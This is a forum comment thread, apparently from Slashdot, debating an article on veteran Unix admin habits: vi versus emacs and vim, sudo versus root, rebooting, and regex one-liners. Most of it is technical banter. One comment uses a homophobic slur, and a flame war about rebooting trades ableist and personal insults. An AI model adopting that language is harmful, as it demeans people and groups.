  78. Another reason why rebooting is bad by mangu · · Score: 1

    Rebooting destroys information. If you reboot for any petty reasons, you miss the truly important problems.

    Here's a practical example: I have a server that had been running uninterruptedly since it was first installed, in August 2007. The air conditioning system at the site had been giving a lot of trouble recently, and everybody complained, but the upper management thought there was no reason to upgrade it.

    Recently there was a long, several hours, failure of the AC and the server gave a temperature alarm and had to be rebooted. An event that happens once in three years is a *strong* message that something is seriously wrong. If I had rebooted the system frequently, the AC failure would have been business as usual.

  79. Re:vim? really? by JSBiff · · Score: 1

    Hey, *real* developers/sysadmins use *rocks*.

    Aside: I find it brilliant that all the one-upsmanship can come from the exact same source.

  80. Re:vim? really? by vtcodger · · Score: 1

    You probably think you are kidding, but I personally loath vi and its evil, twisted spawn to the extent that I actually will use ed instead if ed is available.

    What do I prefer to use for text editing? kwrite if the gui is available. jed if it isn't.

    --
    You can't see ANYTHING from a car, You've got to get out of the goddamned contraption and walk...Edward Abbey
  81. Re:Sudo is not intended to provide "training wheel by SmallFurryCreature · · Score: 1

    While I'm sure some people use sudo to help keep them from doing stupid things in a root shell, that's really not the main purpose. There are a whole slew of legitimate things you can do with sudo that have nothing to do with protecting the system from typos/etc.

    Alright, time to debunk this charlatan, who I strongly suspect of having once used Windows.

    1. Allow multiple admins to each have their own "root" password -- no password sharing required.

    There can be only one! If two admins ever exist, they must do battle until this natural state is restored. It is the way of the admin.

    2. Avoid setting a root password, so it's impossible to get direct root access via password-authenticated

    Anyone knows that you can simply disable the root password to be used as a login at all. What imposter is this that does not know this? This guy might not just use windows, he might even have a MS Phone!

    3. Log every command run with elevated privileges for auditing purposes.

    The other name, the hidden name for admin is root, root audits, no one audits root. Only a peer or superior can perform an audit and root will not meet a peer until his time on this earth has come to and end and he goes to the great server room in the ether.

    4. Prevent (or at least make it harder) for someone to leave a root shell unattended. sudo requires re-authentication on whatever interval you desire; a root shell has no such feature

    If anyone dares touch the machine of an admin, then he is no true admin. You do not protect the sacred contents of the temple with foolish traps but with sheer physical terror installed through decades of ritual abuse of your subjects.

    5. Reduce the amount of typing related to run a single command with elevated privileges

    I am root, my aliases are so powerful I merely have to glance at the keyboard to convey my will. Typing is for secretaries.

    6. Allow non-admin users (including non-root daemons) to run specific commands with elevated privileges -- for example, allow users to edit their own

    config files without admin assistance and without granting them access to all config files.

    Users, with ROOT? BLASPHEMY! We must burn this heretic!

    7. Allow certain commands to be run with elevated privileges without a password prompt based on group memebership/etc. For example, allow anyone in the "print_admin" group to run `killall -1 lpd` without further authentication. It's not a command you want anyone running willy-nilly, but it's not dangerous enough to require re-authentication of the session either.

    Alright, that is it, GET HIM!

    And I'm sure there's a whole slew of other reasons to use sudo. That's not to say a root shell isn't still a useful tool in some scenarios -- if you're going to do a series of high-privilege tasks and you're not worried about strict audit trails a root shell makes sense. But you could still get there with a non-shared password if you used sudo for privilege elevation rather than `su`.

    Gosh, I would have thought putting him on a burning cross would shut him up. Alas, this poor MS drone has been so well indoctrinated his feeble mind can even in the last moments of life do nothing but spill his vile master lies. My the root have mercy on his soul.

    --

    MMO Quests are like orgasms:

    You may solo them, I prefer them in a group.

  82. Interesting, but the VI thing was silly. by seeker_1us · · Score: 2

    VI vs Emacs is an old and silly argument. This guy loses major points for essentially claiming that the only one true editor for "veteran UNIX admins" is VI.

    1. Re:Interesting, but the VI thing was silly. by multipartmixed · · Score: 1

      Worse yet, he somehow conflates vi and vim.

      The last time I logged into a UNIX box -- which was yesterday -- "vi" was exactly the same program it was 15 years ago.

      It sure as hell didn't do source-code highlighting, auto-indent, blah de blah.

      I use emacs to write code, and vi to edit config files. If I have happen to be on a Linux box (rare) and vi is linked vim, well, so be it - but that doesn't make them the same thing.

      --

      Do daemons dream of electric sleep()?
    2. Re:Interesting, but the VI thing was silly. by O_Sleep · · Score: 1

      I have to say, I used vi for a long time but then switched to vim for syntax highlighting and deletion of history. People seem to get bent out of shape with it but my guess is that it just doesn't match the format of the file they are editing, so fair enough, disable it for those files. I still can't stand emacs, though, even though I work with an army of developers that use it and need to use it for their IDE. Maybe if people just used your phrase, but with a small alteration, they would not hate vim so much:

      I use vim to write code, and vi to edit config files.

    3. Re:Interesting, but the VI thing was silly. by J.+J.+Ramsey · · Score: 1

      "I use emacs to write code, and vi to edit config files."

      Same here. There's are some obvious reasons why a Unix admin would prefer Vi to Emacs: it's nearly always standard equipment on a Unix box, even if Emacs is not, and it's faster when used in a remote login session. Indeed, for administration, the issue of Vi versus Vim is irrelevant, since one's going to use whatever stock Vi is on the machine, and one doesn't necessarily have control over whether that Vi is really Nvi, Vim, or whatnot.

    4. Re:Interesting, but the VI thing was silly. by Anonymous Coward · · Score: 0

      Well, one of the main reasons for me to never use syntax highlighing, is that I am colourblind. There seems to always be one colour that is unreadable in the default settings.

      The reason to not use my own settings for this, is that I have to carry these settings with me at all the time.

    5. Re:Interesting, but the VI thing was silly. by laejoh · · Score: 1

      VI vs Emacs is an old and silly argument.

      Indeed, VI is the best

    6. Re:Interesting, but the VI thing was silly. by rgviza · · Score: 1

      Blasphemy! Pick a side man. If you aren't with us, you're against us!

      --
      Don't kid yourself. It's the size of the regexp AND how you use it that counts.
  83. Re:vim? really? by ezzzD55J · · Score: 1

    I liked reading your reasoning on vim - especially the "Hell, even using the arrow keys to move around is a needlessly inefficient waste of motion, since the arrow keys are usually far from any other useful key on the keyboard," as that's exactly what i was thinking. Then I used 'j' and 'k' to try to scroll up and down accidentally ;)

  84. Re:#10 aka passing on the blame by pinkushun · · Score: 1

    How should I know if it works? That's what beta testers are for. I only coded it.
    -- Attributed to Linus Torvalds, somewhere in a posting

  85. Re:vim? really? by ezzzD55J · · Score: 1

    A particularly nasty vim change is that
    Indeed, i've been bitten by this a few times. Worse is: the redo will be seen as an edit, so all your undo's could be lost. I like finding an old piece of text by doing undo, yank, and redo, but the redo will break if you edit after undo of course. Perhaps vim is clever enough to store the whole tree of redo's/undo's - would be a great feature i guess - but I didn't look it up, just cursed vim that it ate my work, something that could have been avoided by doing the sensible thing: don't change such fundamental behaviour by default.

  86. I read the article... by CFBMoo1 · · Score: 1

    Between the VIM/VI/Emacs talk and SUDO/SU I charcoal where my asbestos undies used to be. The Perl vs. AWK/GREP/SED comment on the site made me feel like Wile E. Coyote after running over my own TNT trap.

    --
    ~~ Behold the flying cow with a rail gun! ~~
  87. Re:vim? really? by timelorde · · Score: 1

    The colors clash with my decor.

  88. Re:vim? really? by CronoCloud · · Score: 1

    Meaning I just forget about it and go back to whining about lack of GPU accelerated flash video support.

    But doesn't Flash 10.2 have it, even on LInux?

  89. Re:vim? really? by dbIII · · Score: 1

    like saying Real Unix vets still use telnet and rsh to remotely administer machines

    If you are using some incredibly fucking expensive commercial software that runs on clusters that is exactly what gets used by their cluster tools that should have been rewritten more than a decade ago.
    Using ed was actually the sane and quick solution to reset the root password on a solaris 8 machine by using an install CD and a serial terminal.

  90. duh... by mevets · · Score: 1

    The significant benefit of Sudo is you don't have to remember two passwords. 'Sudo bash' is fine; just one password to remember; or none if you config sudo right.

    The biggest problem with Sudo is too many characters; you should alias it to "op"; then it clearly kicks su's ass.

  91. Re:vim? really? by Anonymous Coward · · Score: 1

    vim? svelt? Puhleez. When not using ed(1), Real Unix vets use Bostic's One True vi, not some fagged-up Vegas showplace of an editor like vim.

    That's like saying Real Unix vets still use telnet and rsh to remotely administer machines. Sometimes it's nice to be able to move up and down lines without having to leave edit/write mode. vim is used by Real Unix vets who have kept up with the times, just like ssh. Only washed up has-beens don't learn to eventually use better tools.

    Honestly, I hate VIM. By default it has all these stupid colours that have no useful purpose. On RH-based systems I always remove the vim-enhanced package. I just want 'vi' when I type in the command 'vi'. If I wanted VIM I'd type in 'vim'. Making that the default is absolutely fucking stupid and just gets in my way--I find it as irritating as Clippy.

    For writing code I generally use Emacs, but if I just want to edit nsswitch.conf or something then I don't need fucking colours and all these other useless gimmicks.

    Ditto for all those stupid colours when i do 'ls'. I have no fucking idea what "blue" means or "magenta" or whatever. I know what having a '/' or '@' at the end of the file name means. Especially since my default terminal is white/grey text on a black background; blue text can't be read at all.

    Honestly, Unix was designed to get out of the user's way as much as possible, and all these "features" just irritate the hell out of me.

  92. Stupid newbie or just not thinking clearly? by dbIII · · Score: 1

    When a run away program fills the disk ... rebooting is the obviously wise thing to do

    With the greatest possible respect for whatever you do for a living and are most likely good at - you have no clue at all here and are just handing out dangerous and misleading advice based on TOTAL ignorance so go play in a different sandpit and leave the grownups alone. Rebooting with a full disk is a WISE thing to do? You've mixed up wise with incredibly fucking stupid. With a lot of systems that can give you a something that will not come back up after the reboot and I can tell you I've seen that as recently as last year and over a dozen times previously.

    1. Re:Stupid newbie or just not thinking clearly? by nedlohs · · Score: 1

      Do you seriously not know what the words "after fixing the problem itself" mean? Or are you just fucking retarded?

    2. Re:Stupid newbie or just not thinking clearly? by arkane1234 · · Score: 1

      On any unix platform, you don't need to reboot after fixing a problem like that.
      It's a problem with an application utilizing disk space. There's no memory issues. Why would you need to reboot?
      What does retardation have to do with this?

      --
      -- This space for lease, low setup fee, inquire within!
    3. Re:Stupid newbie or just not thinking clearly? by nedlohs · · Score: 1

      Retardation has to do with not understanding the simple phrase "after fixing the problem", and then ranting about how I'm a "fucking stupid" for advocating something you made up.

      And you've read all the source code of every program and operating system component running on the machine? And you know none of them have a bug triggered by the disk filling? Or a feature that gives undesirable results for you triggered by the disk filling?

      And yes you don't need to reboot, chances are 99.9% of the time everything will be fine. But why take the risk?

    4. Re:Stupid newbie or just not thinking clearly? by dbIII · · Score: 1

      Listen puppy - you attempted to call your betters "stupid" and then made a newbie mistake doing so. Did you really expect anything less than getting you nose rubbed in it?

      I'd better make it clear because it's clearly not your field. Especially with solaris workstations and some solaris servers I've heard these lines far too many times "the disk filled up so I tried rebooting it but now it won't start. Can you fix it for me?"
      So now some complete arsehole handing out insults wants to take an honest but stupid newbie mistake, pretend it's a virtue, and then go off at the guy that has called him out on it?
      It is extremely clear that the only thing you are good at in this area is handing out insults so please go back to your day job and call people in your own field stupid instead. I very much doubt you look after more than a single MS Windows machine at a time either because I've seen a few MS Windows machines not come up after a reboot for various reasons as well.

    5. Re:Stupid newbie or just not thinking clearly? by nedlohs · · Score: 1

      Yet again, I didn't say to reboot when the disk was full. Can you get that through your head? You're calling me stupid and rubbing my nose in something I never claimed - that seems retarded on your part. Why not instead claim that I'm an idiot because hitting a machine with a hammer is a dumb way to reload the named config files, after all I also didn't claim that.

      If a working machine doesn't come up on a reboot, then I'm glad I rebooted at a time conveniant to me rather than it failing and not coming back up at peak usage time or on New Years Eve.

  93. Re:vim? really? by DrgnDancer · · Score: 1

    Also, the real "Unix Admin" who works in my shop better get used to using sudo. Only one guy in IA has the root password, the rest of us just have full sudo privs. From a pure security standpoint it's pointless of course, with "sudo su -" you can still become root (we often do) or mess with the audit trail (we don't), but the idea is just to keep a record of when we logged in and when we used root privs. It's a somewhat silly exercise that assumes we're all honest, but it rarely causes any issues and keeps IA happy.

    --
    I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
  94. Re:vim? really? by Hatta · · Score: 2

    We're talking about admins, not programmers.

    --
    Give me Classic Slashdot or give me death!
  95. Re:vim? really? by DrgnDancer · · Score: 1

    I gotta wonder this too. I can see not *needing* it, I don't, but I don't turn it off either. When it's available it's helpful and I use it. When it's not I do without. I can't see how it ever hurts. If nothing else the huge blocks of pink "String colored" text tell me where I forgot to close that quote :-)

    --
    I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
  96. Re:vim? really? by DrgnDancer · · Score: 1

    Again, how are the colors "getting in your way"? Ignore them. Turn them off if you want (it's trivial), but even then I don't see why. It's not like they hurt anything, and if you could learn what the "/" and "@" mean you can just as easily learn what the four colors mean. It's not like it occupies a huge amount of cranial space. Most of these posts are starting to smack of "it's different, and therefore bad". Even if it'll save you a little time and effort int he long run, the 30 seconds to learn it is too much to be arsed with.

    --
    I don't need a million points of light, just two points of multi-mode fiber and a 10 Gig-E router.
  97. Re:vim? really? by mario_grgic · · Score: 1

    So, add "set compatible" to your .vimrc and voila you have your vi behavior including undo that you like. I on the other hand prefer VIM's undo tree but then again, I'm a developer not an admin :D.

    --
    As the island of our knowledge grows, so does the shore of our ignorance.
  98. Re:vim? really? by mario_grgic · · Score: 1

    That's actually not true. Redo does not purge your edits. VIM's undo is a tree and simply a new branch in the undo tree is created. Look at :h undo-branches

    to see how you can get to another undo branch and how to see them all.

    --
    As the island of our knowledge grows, so does the shore of our ignorance.
  99. emacs by dougmc · · Score: 1

    Veteran *nix admins certainly do *know* vi -- after all, with a freshly installed system or a system that's not theirs, it may be all that's available -- but many do prefer emacs and use it regularly. Nice job of the article to throw religion into the mix, to give their own belief as if it was the One True Belief.

    It is right about pico, however -- even if a masochistic admin did prefer it for some strange reason, they'd never admit it :)

    1. Re:emacs by ryanov · · Score: 1

      I preferred it when I was learning on IRIX in high school. The sysadmin there had me do a Solaris 2.5.1 install and told me to try to edit some files after it came up, and quickly I saw why any allegiance to pico was a problem. Nowadays I'm flustered if it comes up by accident (oddly enough, some versions of Linux appear to have EDITOR=nano).

  100. Re:vim? really? by shakotah · · Score: 1

    ed? real sysadmins use cat & sed to edit!!

  101. Re:vim? really? by Anonymous Coward · · Score: 0

    Vim has so many added features that it's become the Emacs of text editors.

  102. Anyone that uses sudo su - instead of sudo -i by Anonymous Coward · · Score: 1

    is a damn idiot.

    'vi' is learned because it's on EVERY system, while the others are not.

    There's a saying about regular expressions "Once there was a man with a problem and he declared, 'I can solve this with regular expressions,' and now he has two problems." I see a lot of nasty ugly regular expressions when using awk to do exact matches off of columns GETS IT RIGHT. Unfortunately, even most "grizzled" sys admins can't gain the cognitive abilities of a bell labs patent clerk.

    1. Re:Anyone that uses sudo su - instead of sudo -i by alcourt · · Score: 1

      The -i flag of sudo isn't available on many of the versions of sudo I've used over the past many years. (No fair looking back when the -i flag was introduced). We used the -s flag instead.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
  103. Re:vim? really? by JamesP · · Score: 1

    Actually the difference from vi to vim is huge

    Having worked on an AIX installation that only had vi, 1st task was to get vim running

    really, it's water to wine

    --
    how long until /. fixes commenting on Chrome?
  104. Re:vim? really? by skids · · Score: 2

    Any Unix admin worth his salt, no matter how long and luxurious his neck beard, will gladly upgrade his tools to improve his own efficiency.

    Which is why, as a seasoned UNIX admin, I remove all vi from my systems (to prevent broken programs that do not use $EDITOR or /etc/alternatives from dropping me into vi) and use emacs exclusively. Or jove on small systems.

    C-X-( and M-x yank-rectangle improve my efficiency vastly for the one-off scenarios which it is not worth scripting.

    Original article author apparently has never met seasoned admins of the emacs species. Specist! :-)

  105. Re:vim? really? by deek · · Score: 1

    Thanks for that. I've been aware of netcat, but haven't really bothered to look into it deeply, as telnet pretty much solves my remote troubleshooting needs, and it's quite ubiquitous, even available on the windows command line.

    Still, I'm always up for learning a new command. I'll check it out more thoroughly, and see what it can do.

  106. Re:vim? really? by Anonymous Coward · · Score: 0

    One feature I do not find unnecessary is ability to edit really big files. vi does not let you do this, vim does.

  107. Re:vim? really? by pyser · · Score: 1

    Yeah, I use vim, but with the -e option.

  108. Re:vim? really? by Anonymous Coward · · Score: 0

    Why would you turn off syntax highlighting? I take it you don't write much code. Syntax highlighting is very helpful when writing perl, bash, or python scripts. Also, plain vanilla vi doesn't have code folding. If I write a function that's 30-40 lines long, and it works fine, I don't need to see it while I'm editing the rest of my script.

    http://www.vim.org/scripts/script.php?script_id=1494

  109. What about professionalism? by tbg58 · · Score: 1

    There's another trait that's missing here: Professionalism.

    Real Veteran Unix Admins are true professionals who know how to function in a business environment without being arrogant or prickly. They are comfortable enough in their own skins and emotionally secure enough that they never need to engage in put-downs of others who don't rise to their level of technical acumen. They never play at being the high priests of the sanctum sanctorum of Unix administration which should not be desecrated by mere mortals. They are capable of doing their jobs without needing constant stroking by management or self-stroking by engaging in endless pissing contests and self-aggrandizement.

    Unfortunately there is a small subset of Unix admins who are technically brilliant but emotionally insecure. They can do amazing things with systems but they are often difficult to integrate into a team or an organizational culture. They are high-maintenance employees, both blessing and curse to the companies they work for. With proper structure and coaching (and sometimes therapy) some of these can be developed to become true professionals. Some may be impervious to all efforts to help them mature and become more stable - they will have to be compartmentalized for the good of the organization or let go.

    I will leave it to my gentle readers to decide which group the author of the article belongs in.

  110. Oh, how we've forgotten by squidflakes · · Score: 2

    The great keepers of Unix lore are stirring from their hammocks, putting down their mai-tais, and shooing the mice out of their beards. This is what they have said to me.

    When I log into my Xenix system with my 110 baud teletype, both vi
        *and* Emacs are just too damn slow. They print useless messages like,
        'C-h for help' and '"foo" File is read only'. So I use the editor
        that doesn't waste my VALUABLE time.

        Ed, man! !man ed

        ED(1) UNIX Programmer's Manual ED(1)

        NAME
            ed - text editor

        SYNOPSIS
            ed [ - ] [ -x ] [ name ]
        DESCRIPTION
            Ed is the standard text editor.
        ---

        Computer Scientists love ed, not just because it comes first
        alphabetically, but because it's the standard. Everyone else loves ed
        because it's ED!

        "Ed is the standard text editor."

        And ed doesn't waste space on my Timex Sinclair. Just look:

        -rwxr-xr-x 1 root 24 Oct 29 1929 /bin/ed
        -rwxr-xr-t 4 root 1310720 Jan 1 1970 /usr/ucb/vi
        -rwxr-xr-x 1 root 5.89824e37 Oct 22 1990 /usr/bin/emacs

        Of course, on the system *I* administrate, vi is symlinked to ed.
        Emacs has been replaced by a shell script which 1) Generates a syslog
        message at level LOG_EMERG; 2) reduces the user's disk quota by 100K;
        and 3) RUNS ED!!!!!!

        "Ed is the standard text editor."

        Let's look at a typical novice's session with the mighty ed:

        golem> ed

        ?
        help
        ?
        ?
        ?
        quit
        ?
        exit
        ?
        bye
        ?
        hello?
        ?
        eat flaming death
        ?
        ^C
        ?
        ^C
        ?
        ^D
        ?

        ---
        Note the consistent user interface and error reportage. Ed is
        generous enough to flag errors, yet prudent enough not to overwhelm
        the novice with verbosity.

        "Ed is the standard text editor."

        Ed, the greatest WYGIWYG editor of all.

        ED IS THE TRUE PATH TO NIRVANA! ED HAS BEEN THE CHOICE OF EDUCATED
        AND IGNORANT ALIKE FOR CENTURIES! ED WILL NOT CORRUPT YOUR PRECIOUS
        BODILY FLUIDS!! ED IS THE STANDARD TEXT EDITOR! ED MAKES THE SUN
        SHINE AND THE BIRDS SING AND THE GRASS GREEN!!

        When I use an editor, I don't want eight extra KILOBYTES of worthless
        help screens and cursor positioning code! I just want an EDitor!!
        Not a "viitor". Not a "emacsitor". Those aren't even WORDS!!!! ED!
        ED! ED IS THE STANDARD!!!

        TEXT EDITOR.

        When IBM, in its ever-present omnipotence, needed to base their
        "edlin" on a UNIX standard, did they mimic vi? No. Emacs? Surely
        you jest. They chose the most karmic editor of all. The standard.

        Ed is for those who can *remember* what they are working on. If you
        are an idiot, you should use Emacs. If you are an Emacs, you should
        not be vi. If you use ED, you are on THE PATH TO REDEMPTION. THE
        SO-CALLED "VISUAL" EDITORS HAVE BEEN PLACED HERE BY ED TO TEMPT THE
        FAITHLESS. DO NOT GIVE IN!!! THE MIGHTY ED HAS SPOKEN!!!

        ?

  111. Re:Python Regexps by evol262 · · Score: 1

    Is this a terrible, terrible joke? That's 186 characters. Comparatively:

    sed -r -ie "s/(.{3})A/\1B/g" somefile
    Or:
    perl -pi.orig -e 's/(.{3})A/$1B/g' somefile

    A trivial Perl script to wrap that if you want it programmatically is 98 characters, with proper spacing and no golfing at all.

    Python:
    python -c "import os,re;[open('outfile.txt','a').write(re.sub(r'(.{3})A', r'\1B', line)) for line in open('infile.txt','rb')]"

    Yes, that's golfed a tad to make it convenient as a oneliner, but the "re.sub" bit is much, much shorter than your ridiculous map+join combination. Just because you don't know regular expressions doesn't mean they're not more efficient.

    --
    "The more corrupt a society, the more numerous are its laws." -Tacticus
  112. Re:vim? really? by swordgeek · · Score: 1

    Bollocks!

    In the modern world, telnet and rsh are deficient tools for access. ssh is a _necessary_ modern tool, and is ubiquitous.

    vim is neither a necessary replacement for vi, nor is it ubiquitous. A full install of Solaris doesn't have it included, so you have to add it by hand - to each machine you admin.

    The nature of being a sysadmin is to be completely comfortable with the minimal tools available at 3am on a half-broken system. At one point that was sed, awk, and ed. vi and perl are both reasonable assumptions nowadays, but vim isn't. (and emacs never has been - it is and should always be an editor of programmers.)

    Use vim all you want, but make sure you aren't dependent on multi-level undo or flashy colours if you're the guy they call in the middle of the night.

    --

    "People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
  113. I love my job, but by ToasterMonkey · · Score: 1

    Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic.

    ^ That is not sane.

    You know, our tools, and I mean the whole enchilada - OS and ISV unix software, they really really suck.

    "UNIX|unix" OS software needs to GTFOOMW. The unix administration model has too much overhead for what the average person needs to do with it which is 9/10 times run some application in a little container of sorts without touching the dirty sides of the OS it sits in.

    Flat files for configuration are fine, IF
    YOU PICK A CONSISTENT FORMAT AND RUN WITH IT,
    DOCUMENT IT,
    DESIGN IT FOR SOMETHING OTHER THAN YOUR OWN PARSER TO UNDERSTAND.

  114. I fart in the general direction of vi by BrokenHalo · · Score: 1

    Incidentally, if a Unix vet has sufficient grey hairs in his ample beard, he won't bother with that new-fangled vi(m) either, let alone emacs or pico. He will use the One True Editor. Emacs was originally built as a suite of macros for this, but I never really got to grips with emacs. The only drawback to TECO was the memory usage involved in remembering all those cryptic commands. However, it was, and is the most powerful and scriptable text (originally tape) editor ever created.

    Back in the early '90s many of us were still using TECO (rebadged as "SPEED" on Data General mini/mainframes) for quick-and-dirty-but-so-fast-it-became-permanent batch processing of job control CLI files.

    1. Re:I fart in the general direction of vi by 0racle · · Score: 1

      Real Unix admins are lazy. They are not going to Type Everything Completely Over.

      --
      "I use a Mac because I'm just better than you are."
  115. no Emacs really?? by jschmitz · · Score: 1

    Whatever your choice is its subjective to the user - but saying hardcore unix cats don't use Emacs is insane - hmmmm RMS anyone??

    1. Re:no Emacs really?? by jstomel · · Score: 1

      Emacs is a beautiful and flexible piece of software capable of doing a great many things. And if you run vi from inside it it will be a good text editor.

  116. One wrong, one missing by swordgeek · · Score: 1

    OK, old-school admins use sudo in a multi-admin environment. It's not for security, it's for auditing, i.e. "All right, which one of us fucked up server ?" (Aside: Veteran admins take responsibility for their own mistakes.)

    Some other signs of veteran unix admins:
    0) We don't use command aliases. It galls me to no end that RedHat aliases mv, cp, and rm commands FOR ROOT! Babysitting routine activity isn't just annoying, it's dangerous! What happens when some Linux admin hops onto a Unix system and issues an "#rm lib*" command, expecting to be able to step through which libraries to delete? (and don't get me started on coloured output from ls on a black background. If you want it, YOU add it, don't make me remove it!)

    --

    "People who do stupid things with hazardous materials often die." -- Jim Davidson on alt.folklore.urban
    1. Re:One wrong, one missing by alcourt · · Score: 1

      My cfengine policy clears all those shell aliases and color codings on my RHEL boxes. Unfortunately, the HP-UX folks love their aliases. I can't count how often I watch someone type ll as an alias for ls -l and wonder why it doesn't work on a non-HP-UX box.

      --
      "I may disagree with what you say, but I will defend unto the death your right to say it." -- Voltaire
  117. Re:vim? really? by CAIMLAS · · Score: 1

    Yeah, seriously. This article reads like a feature list for an old model vehicle you should put out to pasture, to boot:

    Veteran Unix admin trait No. 1: We don't use sudo

    Well why the hell not? You realize that it can significantly increase security and auditing by doing so, right?

    If you're a one-man show, then shame on you for (likely) having a weak root password.

    Veteran Unix admin trait No. 2: We use vi, not emacs, and definitely not pico or nano

    And what's wrong with emacs? vi/vim regex are backwards.

    Don't get me wrong - I use vi, and have for over a decade. But emacs is a bit more powerful and doesn't have as awkward a command set. For anything vim can do, something else can do it better simply because figuring out the arcania for vi is a bit difficult at times.

    Veteran Unix admin trait No. 3: We wield regular expressions like weapons

    Yes, yes they do. And they don't use a single goddamn comment, because "this stuff is easy".

    Regex are awesome. I use them daily, but come back a week later? I'll have to figure them out again if there's a problem. A one-line (10+ character) regex should have multiple lines of comments. Just because it's only a couple lines and performs a lot does not mean you don't have to document it.

    Veteran Unix admin trait No. 4: We're inherently lazy

    Yes, yes they are. They're lazy to the point of incompetence: they don't document their work, and don't play well with others as a result.

    Veteran Unix admin trait No. 5: We prefer elegant solutions

    This goes back to the 'lazy' part.

    Something isn't an elegant solution if it needs maintenance, pruning, etc. - who cares if you bashed out a crude perl script in a couple minutes for a single function and put it into production? Was it commented? Is it robust? Is it mentioned in system documentation? No? Then it's not a solution, it's a crude hack.

    Veteran Unix admin trait No. 6: We generally assume the problem is with whomever is asking the question

    This would actually be correct: the person asking the question should know better than to ask a self-centered, misanthropic, paranoid, backwards unix codger anything, because they're not going to a) get a complete answer or b) get a useful answer.

    Veteran Unix admin trait No. 7: We have more in common with medical examiners than doctors

    This is often/normally true, but it's true for those who have similar level of experience/skill yet adhere to good system administration practices as well. (WHy not hire them instead?)

    Veteran Unix admin trait No. 8: We know more about Windows than we'll ever let on

    Yes - except for the type of veteran unix admin who meets the first page of traits. They're myopic and think their precious systems are the end-all, be-all.

    Veteran Unix admin trait No. 9: Rebooting is almost never an option

    Correct. Forget those pesky kernel or base system upgrades for security, or routine reboots for maintenance, which are all considered generally good practices. We'll just leave the systems running until it's time to replace them, or let the next guy deal with a completely undocumented system that hasn't been rebooted in years. Surely, nothing bad will happen, and the employer is wise to keep such people in their employ. (This is where the 'forensic' abilities that good admins have come into play.)

    If some of these traits seem antisocial or difficult to understand from a lay perspective, that's because they are. Where others may see intractable, overly difficult methods, we see enlightenment, born of years of learning, experience, and most of all, logic.

    Most of these are difficult to understand from a 'business continuity' or 'connected to the Internet' perspective. What i

    --
    ~/ssh slashdot.org ssh: connect to host slashdot.org port 22: too many beers
  118. Common traits of old guy who should be downsized by Anonymous Coward · · Score: 0

    This article should be renamed common traits of the old guy who makes too much money, considers himself a priest beyond supervision, and should be downsized as quickly as possible.

    I've been a sysadmin for 13 years, and I hate it when I run into these maladjusted weirdos in their 50s who think they're great but have let their skills (technical, business, and social) go.

    and by the way, pico/nano is way better than vi or vim.

  119. Re:vim? really? by Anonymous Coward · · Score: 0

    A real unix vet may use rsh because they've got kerberized rlogin.

  120. Real admins don't use emacs ??? by mikein08 · · Score: 1

    WTF?? I'm not a unix admin, but I've tried - tried and tried - to use VI. I can't do it. It take too many keystrokes to do anything useful. I've got a 25 year old version of Emacs that I've kept alive and carried with me from job to job over the years, and it works like a charm. It's also small, VERY easy to customize, and very reliable. Also, I'm thoroughly familiar with it and don't have to think when I want to do something. I know, I know, VI users don't have to think about VI either. VI is a steaming dung heap. Emacs - my version, anyway - is sweet nectar of the gods!!!

  121. Re:vim? really? by Anonymous Coward · · Score: 0

    The first thing we do in vim is turn off syntax highlighting and silently curse whoever keeps turning it back on.

    You're just being dogmatic now. There is no reason to turn it off.

  122. VIM on a Mac by howardd21 · · Score: 1

    I was surprised a bit that Apple ships the Mac OS X with VIM installed. I had never even checked until I read this and sure enough there it is in all of its glory.

    --
    no comment
  123. Re:vim? really? by Capt.DrumkenBum · · Score: 1

    This is exactly why I chose to learn and use vi, and not emacs, or even vim. In fact my first unix editor was joe.

    At 3AM with a system that I didn't install. A system that will just barely boot to single user mode. I damn well better be able to use the tools that are installed by default because installing something else will not be an option.

    --
    If I were God, wouldn't I protect my churches from acts of me?
  124. Re:vim? really? by nabsltd · · Score: 1

    Sure, most of us use it anyway because modern Linux systems usually don't include our good friend vi (it's usually just a symlink to vim)

    RedHat systems have vi as a separate executable.

  125. Re:vim? really? by nullifi · · Score: 1

    Vimium for chrome. I love using j/k to scroll. Accidently hitting 'd' to close a tab is kind of a pain sometimes, though.

  126. Re:vim? really? by lysdexia · · Score: 1

    I generally use j and k to scroll on slashdot. At least on the main page.

  127. Lol by nog_lorp · · Score: 1

    Where others may see intractable, overly difficult methods, we see enlightenment, borne from years of learning, experience, and overall, logic.

    One sign of the veteran Unix admin: dealing with archaic absurdities will have driven them completely mad. You may see them referring to things like Xorg, init.d scripts, or anything else about Unix (besides how certain variants are licensed) as "Enlightened" or "Logical".

  128. Re:vim? really? by nabsltd · · Score: 1

    It's apparent from your rant that you aren't a good enough manager to be able to deal with people who know how to get the job done right the first time for all time.

    I suspect you prefer to deal with the currently predominant types of admin:

    • Ones that must have hundred page change-requests to fix a typo in a string, so that anything that needs to get done takes weeks or months.
    • Ones that just change things until the system works, never knowing why it works, but it does get running relatively quickly and without too many errors.

    I have the luck of currently dealing with admins for our datacenter who are a frightening mix of both. If they had just one "veteran Unix admin" who would spend a little more time and do the job right the first time, but not take weeks to do it, things would run a lot smoother.

    And, I'm not kidding about the weeks or months to get anything done, as currently after full testing of changes to web pages (no matter how small), it takes 3 weeks before those changes roll out to the production system, as there need to be two meetings a week apart where the changes get signed off on twice. Meanwhile, these same bozos will patch production database servers without telling anyone. The problem is that their attitude is that the underlying system (OS, DB servers, web servers, etc.) is "theirs" and they make sure it is "correct" ASAP, without regard to the fact that applications need those resources to run. The sys admins don't care that the apps are what are important to the business process, but the "veteran Unix admin" understands that.

  129. Re:vim? really? by tbuskey · · Score: 1

    Administer? No. Debug? Yep! http://www.linuxplanet.com/linuxplanet/tutorials/7295/1/

    I don't run vim if it's not part of the OS. I run /usr/bin/vi because it's part of the OS. On Linux it might be vim. On BSD it might be nvi, on Solaris it's vi.

    Real Unix vets know how to use the tools that came with the OS and don't *have* to use extra stuff. But we'll use nmap if we have it. Or emacs.

    FWIW, you can use echo * when ls isn't available.

  130. But.... by Hasai · · Score: 1

    "....to generally assuming the problem resides with whomever is asking the question...."
    But.... In roughly sigma-two percentage points of situations, it IS a PEBKAC situation. Or, at least it is in the Unix/Linux world....
    ];)

    --

    Regards;

    Hasai

  131. Re:vim? really? by jc42 · · Score: 1

